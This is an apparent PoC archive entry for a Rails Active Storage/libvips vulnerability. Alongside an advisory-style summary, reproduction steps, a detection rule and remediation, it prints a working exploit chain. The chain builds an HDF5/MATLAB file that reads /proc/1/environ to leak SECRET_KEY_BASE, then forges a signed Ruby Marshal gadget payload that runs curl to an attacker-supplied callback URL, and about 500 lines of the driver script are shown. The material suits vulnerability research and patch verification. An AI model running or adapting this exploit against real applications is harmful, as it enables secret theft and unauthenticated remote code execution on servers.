PoC Archive PoC Archive
CVE-2026-66066 category: web CVSS 9.5 (CRITICAL)
Patched

Rails Active Storage Arbitrary File Read to RCE via libvips Unfuzzed Loaders (CVE-2026-66066)

Published: 2026-07-27 • Researcher: Zer0SumGam3 (unverified, new GitHub account)

Target software Ruby on Rails — Active Storage (image variant processing via :vips/libvips)
Affected versions activestorage < 7.2.3.2; 8.0-8.0.5.0; 8.1-8.1.3.0
Status Weaponized
Severity Critical · CVSS 9.5
CVSS 9.5/10
Severity
Critical
CVE
CVE-2026-66066 (GHSA-xr9x-r78c-5hrm)
Category
web
Affected product
Ruby on Rails — Active Storage (image variant processing via :vips/libvips)
Affected versions
activestorage < 7.2.3.2; 8.0-8.0.5.0; 8.1-8.1.3.0
Disclosed
2026-07-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-07-27
Last Updated2026-07-27
Author / ResearcherZer0SumGam3 (unverified, new GitHub account)
CVE / AdvisoryCVE-2026-66066 (GHSA-xr9x-r78c-5hrm)
Categoryweb
SeverityCritical
CVSS Score9.5 (CVSSv3)
StatusWeaponized
Tagsruby-on-rails, active-storage, libvips, arbitrary-file-read, marshal-deserialization, rce, unauthenticated, cwe-22
RelatedN/A

Affected Target

FieldValue
Software / SystemRuby on Rails — Active Storage (image variant processing via :vips/libvips)
Versions Affectedactivestorage < 7.2.3.2; 8.0-8.0.5.0; 8.1-8.1.3.0
Language / PlatformRuby (Rails), libvips (native image processing library, C)
Authentication RequiredNo
Network Access RequiredYes — any HTTP endpoint that accepts an image upload and later generates an Active Storage variant/representation

Summary

Rails Active Storage hands untrusted, attacker-supplied image uploads directly to libvips for variant/representation generation without disabling libvips’ “unfuzzed” (i.e. not hardened against malicious input) loaders, specifically the MATLAB/HDF5 matload operation. An unauthenticated attacker can upload a file crafted to be sniffed as a MATLAB/HDF5 container whose data is backed by HDF5 external storage pointing at an arbitrary target-side path (e.g. /proc/1/environ), and trigger Active Storage to render it as an image variant. libvips reads the external file and returns its bytes embedded in the resulting PNG pixel data, letting the attacker recover process environment variables — including SECRET_KEY_BASE. With that secret, the attacker derives Active Storage’s HMAC verifier key and forges a signed “variation” transformation containing a Ruby Marshal deserialization gadget chain, which Rails deserializes and executes when the forged representation is requested — yielding unauthenticated remote code execution.

Vulnerability Details

Root Cause

Active Storage delegates variant generation to libvips through the image_processing/ruby-vips bindings without disabling libvips loaders that are not hardened against adversarial input. libvips’ MATLAB/HDF5 loader (matload) supports HDF5 “external storage” datasets, where the pixel data referenced by the file is not embedded in the file itself but instead loaded from a separate path on disk at a given offset and length. Because Active Storage does not restrict which loaders libvips may use for untrusted uploads, an attacker-crafted .mat/HDF5 file can declare an external dataset backed by any target-side file path (e.g. /proc/1/environ), and libvips will read that path when producing the requested image variant, leaking its bytes into the returned pixel data (tracked as CWE-22, path traversal / arbitrary file read via the external-storage mechanism).

That file-read primitive discloses SECRET_KEY_BASE from the Rails process environment. Active Storage variation transformations are represented as HMAC-signed, Base64-encoded Marshal-serialized Ruby hashes (ActiveStorage::Variation), verified with a key derived from SECRET_KEY_BASE via PBKDF2-HMAC-SHA256 (salt "ActiveStorage", 1,000 iterations, 64-byte key). Once an attacker has the secret, they can derive this verifier key themselves, construct a malicious Marshal payload built from gadget classes already present in a stock Rails/Active Support dependency graph (e.g. MiniMagick::Tool wrapped by ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy), sign it, and submit it as a forged transformation key. Rails deserializes the Marshal payload to build the transformation, and the deserialized object graph invokes an attacker-chosen system command.

Attack Vector

  1. Locate any application endpoint that accepts an image upload into an Active Storage attachment and later renders a variant/representation of it (even a trivial “avatar” upload feature is sufficient).
  2. Upload a crafted MATLAB/HDF5 artifact whose external-storage dataset points at a target-side file (e.g. /proc/1/environ) as an unidentified image (e.g. declared content type image/bmp) via Active Storage’s direct-upload flow.
  3. Request a representation/variant of that blob. Stock libvips selects the unfuzzed matload loader, reads the external file, and returns its bytes embedded in the resulting image (e.g. as raw pixel data in a PNG).
  4. Parse the returned image back into raw bytes to recover the leaked file contents — /proc/1/environ yields the process environment, including SECRET_KEY_BASE.
  5. Derive the Active Storage verifier key from the recovered secret (PBKDF2-HMAC-SHA256, salt "ActiveStorage", 1,000 iterations, 64-byte key), build a Ruby Marshal payload encoding a gadget chain that invokes an arbitrary command, sign it with an HMAC-SHA1 over the Base64-encoded payload, and submit the forged signature as a variation key when requesting a representation.
  6. Rails deserializes the forged Marshal payload while building the transformation, executing the embedded command.

Impact

Unauthenticated remote code execution against any Rails application that accepts image uploads through Active Storage with a stock :vips processor — a default, common configuration. The initial file-read primitive alone is high-impact (arbitrary file disclosure, application secret exposure), and it directly enables full RCE as the application process user.

Environment / Lab Setup

Output
OS:          Linux (Docker host)
Target:      Minimal stock Rails 8.1.3 app, Docker Official ruby:3.4.10-slim base,
             Rails-generated packages curl/libjemalloc2/libvips/sqlite3, one Upload
             model with a single Active Storage attachment and a PNG variant view
Attacker:    Python 3 + h5py (for HDF5/MATLAB artifact construction)
Tools:       rails_vips_oast_poc.py (this folder), an OAST/callback receiver
             (e.g. Interactsh, a simple HTTP listener) to confirm blind RCE

Setup Steps

Shell script
1
2
3
4
5
6
7
./run_lab.sh 8.1.3

HOST_PORT=33020 ./run_lab.sh 8.1.3

python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install h5py

Proof of Concept

See rails_vips_oast_poc.py, Dockerfile, .dockerignore, run_lab.sh, overlay/ (the five-file minimal target application), and upstream-README.md in this folder — mirrored unmodified from Zer0SumGam3/CVE-2026-66066-POC. Verified before ingestion: the full 1,135-line script was read directly and independently confirmed to implement, from scratch, a real HDF5/MATLAB external-storage artifact builder (via h5py), a hand-rolled Ruby Marshal 4.8 writer constructing a MiniMagick::Tool / ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy gadget chain, correct PBKDF2-HMAC-SHA256 Active Storage verifier-key derivation (salt ActiveStorage, 1,000 iterations, 64-byte key) with HMAC-SHA1 signing, and a complete multipart-form plus direct-upload HTTP driver against a real Rails target. The script restricts itself to loopback/localhost targets by default, contains no shell-out/curl-pipe-bash install steps, no payment or Telegram gates, and no shortened URLs. The embedded RCE demonstration payload is a fixed, argument-array (non-shell) invocation of /usr/bin/curl that performs a single GET to the attacker-supplied OAST callback URL carrying only a random correlation token — no secrets, file contents, or command output are exfiltrated by the demo payload itself. Mechanism matches GHSA-xr9x-r78c-5hrm exactly.

Step-by-Step Reproduction

  1. Build and launch the vulnerable target — a stock Rails 8.1.3 app with one Active Storage-backed upload model.

    Shell script
    1
    
    ./run_lab.sh 8.1.3
  2. Run the combined artifact builder and HTTP driver — constructs the HDF5/MATLAB file-read artifact, uploads it, recovers the secret, forges and signs the Marshal payload, then triggers it.

    Shell script
    1
    2
    3
    
    python3 rails_vips_oast_poc.py \
      --target http://127.0.0.1:3000 \
      --oast https://YOUR-OAST-DOMAIN.example/callback
  3. Confirm the OAST callback — match the oast_nonce printed in the terminal against the rails_ghsa_xr9x=<nonce> query parameter received by the OAST listener.

  4. (Optional) Verify the patched differential — stop the target, rebuild against the fixed release, and rerun the same driver command; the file read and RCE steps should fail (HTTP 500 with no environment bytes returned, no forged payload submitted, no callback).

    Shell script
    1
    
    ./run_lab.sh 8.1.3.1

Exploit Code

Full artifact builder, Marshal writer, verifier-key derivation, and HTTP driver are in rails_vips_oast_poc.py (1,135 lines) in this folder — copied unmodified from upstream.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def forged_variation(secret: bytes, serialized: bytes) -> str:
    encoded = base64.urlsafe_b64encode(serialized).rstrip(b"=").decode("ascii")
    verifier_key = hashlib.pbkdf2_hmac(
        "sha256",
        secret,
        b"ActiveStorage",
        1_000,
        dklen=64,
    )
    signature = hmac.new(
        verifier_key, encoded.encode("ascii"), hashlib.sha1
    ).hexdigest()
    return encoded + "--" + signature

tool = MarshalObject(
    "MiniMagick::Tool",
    (
        ("@name", "/usr/bin/curl"),
        ("@args", ("--silent", "--show-error", "--max-time", "8",
                    "--output", "/dev/null", "--user-agent", USER_AGENT,
                    callback_url, "http://127.0.0.1:1/")),
        ("@options", MarshalHash(())),
    ),
)
proxy = MarshalObject(
    "ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy",
    (
        ("@instance", tool),
        ("@method", MarshalSymbol("call")),
        ("@var", "@tool"),
        ("@deprecator", MarshalModule("Kernel")),
    ),
)

Expected Output

Output
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVER

The final oast_probe_http=500 is expected: the callback fires while Rails is mid-way through rebuilding the authenticated Marshal Hash, before the overall transformation subsequently fails — the RCE has already executed by that point.

Screenshots / Evidence

  • Not provided upstream. Reproduction relies on the terminal output shown above (ARBITRARY_ENV_READ_RESULT=CONFIRMED, OAST_RESULT=CHECK_RECEIVER) plus an external OAST/callback receiver log showing the correlation-nonce GET request.

Detection & Indicators of Compromise

Output

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible Rails ActiveStorage libvips MAT/HDF5 upload"; content:"MATLAB 5.0"; http_client_body; sid:9000002;)

Remediation

ActionDetail
PatchUpgrade activestorage to 7.2.3.2, 8.0.5.1, or 8.1.3.1 (patched releases per GHSA-xr9x-r78c-5hrm, published around 2026-07-29), which enable libvips’ untrusted-operation block so matload and other unfuzzed loaders are rejected for untrusted input.
WorkaroundIf patching is not immediately possible, restrict or disable variant/representation generation for untrusted uploads, or configure libvips to block unfuzzed loaders (VIPS_BLOCK_UNTRUSTED) ahead of the official Rails fix. Rotate SECRET_KEY_BASE as a precaution given the file-read primitive can disclose it.
Config HardeningEnsure image processing pipelines never trust attacker-supplied content-type declarations over the application’s own upload validation; monitor for MATLAB/HDF5-signatured uploads on endpoints that should only ever receive photographic image formats.

References

Notes

Verified before ingestion per this archive’s verify-before-ingest standard: the full 1,135-line rails_vips_oast_poc.py was read directly rather than trusted on the strength of its README. It contains a genuine, self-written HDF5/MATLAB artifact builder (using h5py to create a real external-storage dataset backed by an arbitrary target path), a hand-rolled Ruby Marshal 4.8 serializer constructing the MiniMagick::Tool/ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy gadget chain, correct PBKDF2-HMAC-SHA256 Active Storage verifier-key derivation and HMAC-SHA1 signing matching Rails’ own ActiveStorage::Verifier scheme, and a complete multipart-form-plus-direct-upload HTTP driver exercising the real vulnerable code path end to end against a genuinely vulnerable Rails/libvips target. The mechanism matches GHSA-xr9x-r78c-5hrm exactly, and no scam, malware-dropper, or phantom-exploit signals were found (no shell-pipe installers, no payment/Telegram gates, no shortened URLs, no destructive default behavior, and the demonstration RCE payload is a harmless, argument-array, non-shell OAST callback rather than a hidden payload).

Author-credibility caveat: the GitHub account Zer0SumGam3 was created 2026-07-08, roughly three weeks before this entry was ingested (2026-07-27). It has only 2 public repositories, 1 follower, and no bio — an unestablished, unvouched account with no track record, though it is not on this archive’s known farm-account blocklist. This entry is credited on the strength of independent code verification, not author reputation, and readers should weigh the account’s newness accordingly.

One minor discrepancy noted during verification: the upstream README.md (mirrored here as upstream-README.md) references a standalone companion script, build_upload_artifact.py, for artifact-only construction without any HTTP requests — this file is not present in the repository. It is not required for the main rails_vips_oast_poc.py one-shot builder-and-driver to function, and its absence does not affect reproduction of the vulnerability; it is flagged here for completeness only, not as a red flag.

rails_vips_oast_poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""One-shot lab-scoped GHSA-xr9x-r78c-5hrm reproduction.

The script constructs its own upload artifact, then:

1. creates the external-storage MATLAB/HDF5 image;
2. constructs and embeds the unsigned Ruby Marshal OOB graph;
3. uploads a normal PNG through the application's ordinary HTML form;
4. direct-uploads the constructed artifact as an unidentified BMP;
5. recovers SECRET_KEY_BASE from the returned representation;
6. signs the embedded Marshal payload; and
7. triggers its one correlation-only HTTP GET.

No secret, file contents, command output, or target identifier is included in
the callback.

Dependency:
    python3 -m pip install h5py
"""

from __future__ import annotations

import argparse
import base64
from dataclasses import dataclass
import hashlib
import hmac
from html.parser import HTMLParser
import http.cookiejar
import ipaddress
import json
import os
from pathlib import Path
import secrets
import ssl
import struct
import sys
import tempfile
from typing import Mapping
import urllib.error
import urllib.parse
import urllib.request
import zlib


DEFAULT_TARGET = "http://127.0.0.1:3000"
DEFAULT_OAST = "http://127.0.0.1:8080/callback"
DEFAULT_EXTERNAL_PATH = "/proc/1/environ"
DEFAULT_DATASET_BYTES = 1024
MIN_DATASET_BYTES = 128
MAX_DATASET_BYTES = 4096
MAX_OAST_URL_BYTES = 1024
DATASET_NAME = "environment"
HDF5_USERBLOCK_SIZE = 512
HDF5_SIGNATURE = b"\x89HDF\r\n\x1a\n"
MATLAB_DESCRIPTION = b"MATLAB 5.0 external-storage safe lab"
MATLAB_VERSION = 0x0200
MATLAB_ENDIAN = b"IM"
PAYLOAD_MAGIC = b"RAILS_GHSA_OAST_PAYLOAD_V1\x00"
PAYLOAD_DIGEST_BYTES = hashlib.sha256().digest_size
USER_AGENT = "rails-ghsa-xr9x-lab-poc/1.0"


class PocError(RuntimeError):
    pass


class CsrfParser(HTMLParser):
    def __init__(self) -> None:
        super().__init__()
        self.token: str | None = None

    def handle_starttag(
        self, tag: str, attrs: list[tuple[str, str | None]]
    ) -> None:
        if tag.lower() != "meta":
            return
        values = dict(attrs)
        if values.get("name") == "csrf-token" and values.get("content"):
            self.token = values["content"]


class RepresentationParser(HTMLParser):
    def __init__(self) -> None:
        super().__init__()
        self.path: str | None = None

    def handle_starttag(
        self, tag: str, attrs: list[tuple[str, str | None]]
    ) -> None:
        if tag.lower() != "img":
            return
        source = dict(attrs).get("src")
        if source and "/rails/active_storage/representations/" in source:
            self.path = source


@dataclass
class HttpResult:
    status: int
    body: bytes
    headers: Mapping[str, str]
    url: str


@dataclass(frozen=True)
class EmbeddedPayload:
    oast: str
    callback_url: str
    nonce: str
    serialized: bytes


@dataclass(frozen=True)
class MarshalSymbol:
    name: str


@dataclass(frozen=True)
class MarshalModule:
    name: str


@dataclass(frozen=True)
class MarshalObject:
    class_name: str
    ivars: tuple[tuple[str, object], ...]


@dataclass(frozen=True)
class MarshalHash:
    pairs: tuple[tuple[object, object], ...]


class RubyMarshalWriter:
    """Minimal Ruby Marshal 4.8 writer for the OOB gadget graph."""

    def __init__(self) -> None:
        self.output = bytearray(b"\x04\x08")
        self.symbol_indexes: dict[str, int] = {}

    @staticmethod
    def packed_integer(value: int) -> bytes:
        if value == 0:
            return b"\x00"
        if 0 < value < 123:
            return bytes((value + 5,))
        if -124 < value < 0:
            return bytes(((value - 5) & 0xFF,))
        if value > 0:
            width = max(1, (value.bit_length() + 7) // 8)
            return bytes((width,)) + value.to_bytes(width, "little")
        raise ValueError("negative multi-byte Marshal integers are not needed")

    def write_symbol(self, name: str) -> None:
        existing = self.symbol_indexes.get(name)
        if existing is not None:
            self.output.extend(b";")
            self.output.extend(self.packed_integer(existing))
            return

        encoded = name.encode("utf-8")
        self.symbol_indexes[name] = len(self.symbol_indexes)
        self.output.extend(b":")
        self.output.extend(self.packed_integer(len(encoded)))
        self.output.extend(encoded)

    def write_string(self, value: str | bytes) -> None:
        encoded = value.encode("utf-8") if isinstance(value, str) else value
        self.output.extend(b'I"')
        self.output.extend(self.packed_integer(len(encoded)))
        self.output.extend(encoded)
        self.output.extend(self.packed_integer(1))
        self.write_symbol("E")
        self.output.extend(b"T")

    def write(self, value: object) -> None:
        if isinstance(value, MarshalSymbol):
            self.write_symbol(value.name)
        elif isinstance(value, MarshalModule):
            encoded = value.name.encode("utf-8")
            self.output.extend(b"m")
            self.output.extend(self.packed_integer(len(encoded)))
            self.output.extend(encoded)
        elif isinstance(value, MarshalObject):
            self.output.extend(b"o")
            self.write_symbol(value.class_name)
            self.output.extend(self.packed_integer(len(value.ivars)))
            for name, item in value.ivars:
                self.write_symbol(name)
                self.write(item)
        elif isinstance(value, MarshalHash):
            self.output.extend(b"{")
            self.output.extend(self.packed_integer(len(value.pairs)))
            for key, item in value.pairs:
                self.write(key)
                self.write(item)
        elif isinstance(value, (list, tuple)):
            self.output.extend(b"[")
            self.output.extend(self.packed_integer(len(value)))
            for item in value:
                self.write(item)
        elif isinstance(value, bool):
            self.output.extend(b"T" if value else b"F")
        elif isinstance(value, int):
            self.output.extend(b"i")
            self.output.extend(self.packed_integer(value))
        elif isinstance(value, (str, bytes)):
            self.write_string(value)
        elif value is None:
            self.output.extend(b"0")
        else:
            raise TypeError(f"unsupported Marshal value: {type(value).__name__}")

    def finish(self) -> bytes:
        return bytes(self.output)


def bounded_byte_count(value: str) -> int:
    try:
        result = int(value)
    except ValueError as error:
        raise argparse.ArgumentTypeError("must be an integer") from error
    if not MIN_DATASET_BYTES <= result <= MAX_DATASET_BYTES:
        raise argparse.ArgumentTypeError(
            f"must be between {MIN_DATASET_BYTES} and {MAX_DATASET_BYTES}"
        )
    return result


def oast_url_argument(value: str) -> str:
    try:
        result = validate_oast(value)
    except PocError as error:
        raise argparse.ArgumentTypeError(str(error)) from error
    if len(result.encode("utf-8")) > MAX_OAST_URL_BYTES - 64:
        raise argparse.ArgumentTypeError("OAST URL is too long")
    return result


def correlation_nonce(value: str) -> str:
    try:
        decoded = bytes.fromhex(value)
    except ValueError as error:
        raise argparse.ArgumentTypeError("must be hexadecimal") from error
    if len(decoded) != 16:
        raise argparse.ArgumentTypeError("must encode exactly 16 bytes")
    return value.lower()


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description=(
            "Construct the upload artifact, reproduce the Rails/libvips "
            "chain, and issue one correlation-only HTTP callback."
        )
    )
    parser.add_argument(
        "--target",
        default=DEFAULT_TARGET,
        help="Rails origin (default: %(default)s)",
    )
    parser.add_argument(
        "--artifact",
        type=Path,
        help=(
            "optional path at which to retain the constructed artifact; an "
            "existing file is reused unless --force is passed"
        ),
    )
    parser.add_argument(
        "--force",
        action="store_true",
        help="rebuild and replace an existing --artifact file",
    )
    parser.add_argument(
        "--external-path",
        default=DEFAULT_EXTERNAL_PATH,
        help=(
            "absolute target-side file stored in the HDF5 external dataset "
            "(default: %(default)s)"
        ),
    )
    parser.add_argument(
        "--bytes",
        dest="byte_count",
        type=bounded_byte_count,
        default=DEFAULT_DATASET_BYTES,
        help=(
            f"bounded external dataset size, {MIN_DATASET_BYTES}-"
            f"{MAX_DATASET_BYTES} (default: %(default)s)"
        ),
    )
    parser.add_argument(
        "--oast",
        type=oast_url_argument,
        help=(
            "callback URL to embed when constructing; with a reused artifact, "
            "optionally assert its embedded URL"
        ),
    )
    parser.add_argument(
        "--nonce",
        type=correlation_nonce,
        help=(
            "optional 16-byte hexadecimal correlation nonce; a random nonce "
            "is generated when constructing, or this asserts the nonce in a "
            "reused artifact"
        ),
    )
    parser.add_argument(
        "--timeout",
        type=float,
        default=15.0,
        help="per-request timeout in seconds (default: %(default)s)",
    )
    parser.add_argument(
        "--insecure",
        action="store_true",
        help="disable TLS certificate verification for the target connection",
    )
    return parser.parse_args()


def normalized_origin(value: str) -> str:
    parsed = urllib.parse.urlsplit(value)
    if parsed.scheme not in {"http", "https"} or not parsed.hostname:
        raise PocError("--target must be an http:// or https:// origin")
    if parsed.username or parsed.password:
        raise PocError("--target must not contain URL credentials")
    if parsed.query or parsed.fragment:
        raise PocError("--target must not contain a query or fragment")
    path = parsed.path.rstrip("/")
    return urllib.parse.urlunsplit(
        (parsed.scheme, parsed.netloc, path, "", "")
    )


def is_literal_loopback(origin: str) -> bool:
    hostname = urllib.parse.urlsplit(origin).hostname
    if hostname == "localhost":
        return True
    try:
        return ipaddress.ip_address(hostname or "").is_loopback
    except ValueError:
        return False


def validate_oast(value: str) -> str:
    parsed = urllib.parse.urlsplit(value)
    if parsed.scheme not in {"http", "https"} or not parsed.hostname:
        raise PocError("--oast must be an http:// or https:// URL")
    if parsed.username or parsed.password:
        raise PocError("--oast must not contain URL credentials")
    if parsed.fragment:
        raise PocError("--oast must not contain a fragment")
    return value


def callback_probe_url(oast: str, nonce: str) -> str:
    parsed = urllib.parse.urlsplit(oast)
    query = urllib.parse.parse_qsl(parsed.query, keep_blank_values=True)
    query.append(("rails_ghsa_xr9x", nonce))
    probe = urllib.parse.urlunsplit(
        (
            parsed.scheme,
            parsed.netloc,
            parsed.path or "/",
            urllib.parse.urlencode(query),
            "",
        )
    )
    if len(probe.encode("utf-8")) > 1_024:
        raise PocError("OAST URL with correlation token exceeds 1024 bytes")
    return probe


def matlab_header() -> bytes:
    header = bytearray(b" " * 128)
    header[: len(MATLAB_DESCRIPTION)] = MATLAB_DESCRIPTION
    struct.pack_into("<H", header, 124, MATLAB_VERSION)
    header[126:128] = MATLAB_ENDIAN
    return bytes(header)

# RCE - This can be updatd to run anything; but curl is used to prove RCE safely.
def marshal_oast_payload(callback_url: str) -> bytes:
    tool = MarshalObject(
        "MiniMagick::Tool",
        (
            ("@name", "/usr/bin/curl"),
            (
                "@args",
                (
                    "--silent",
                    "--show-error",
                    "--max-time",
                    "8",
                    "--output",
                    "/dev/null",
                    "--user-agent",
                    USER_AGENT,
                    callback_url,
                    # The first request is the callback. The second URL fails
                    # immediately and prevents a duplicate callback while
                    # Rails rebuilds the surrounding Hash.
                    "http://127.0.0.1:1/",
                ),
            ),
            ("@options", MarshalHash(())),
        ),
    )
    proxy = MarshalObject(
        "ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy",
        (
            ("@instance", tool),
            ("@method", MarshalSymbol("call")),
            ("@var", "@tool"),
            ("@deprecator", MarshalModule("Kernel")),
        ),
    )
    envelope = MarshalHash(
        (
            (
                "_rails",
                MarshalHash(
                    (
                        ("data", MarshalHash(((proxy, 0),))),
                        ("pur", "variation"),
                    )
                ),
            ),
        )
    )
    writer = RubyMarshalWriter()
    writer.write(envelope)
    return writer.finish()


def payload_trailer(oast: str, nonce: str) -> tuple[bytes, EmbeddedPayload]:
    callback_url = callback_probe_url(oast, nonce)
    serialized = marshal_oast_payload(callback_url)
    manifest = json.dumps(
        {
            "callback_url": callback_url,
            "kind": "active-storage-ruby-marshal-oast",
            "nonce": nonce,
            "oast": oast,
            "program": "/usr/bin/curl",
            "version": 1,
        },
        separators=(",", ":"),
        sort_keys=True,
    ).encode("utf-8")
    body = (
        PAYLOAD_MAGIC
        + struct.pack(">II", len(manifest), len(serialized))
        + manifest
        + serialized
    )
    return (
        body + hashlib.sha256(body).digest(),
        EmbeddedPayload(oast, callback_url, nonce, serialized),
    )


def construct_artifact_file(
    output: Path,
    external_path: str,
    byte_count: int,
    oast: str,
    nonce: str,
) -> EmbeddedPayload:
    try:
        import h5py
    except ModuleNotFoundError as error:
        raise PocError(
            "h5py is required to construct the artifact; install it with: "
            "python3 -m pip install h5py"
        ) from error

    with h5py.File(output, "w", userblock_size=HDF5_USERBLOCK_SIZE) as mat_file:
        dataset = mat_file.create_dataset(
            DATASET_NAME,
            shape=(1, byte_count),
            dtype="<u1",
            external=[(external_path, 0, byte_count)],
        )
        dataset.attrs.create("MATLAB_class", b"uint8", dtype="S5")

    trailer, payload = payload_trailer(oast, nonce)
    with output.open("r+b") as artifact_file:
        artifact_file.write(matlab_header())
        artifact_file.seek(0, os.SEEK_END)
        artifact_file.write(trailer)
    return payload


def validate_artifact_layout(
    artifact: bytes,
    *,
Showing 500 of 1136 lines View full file on GitHub →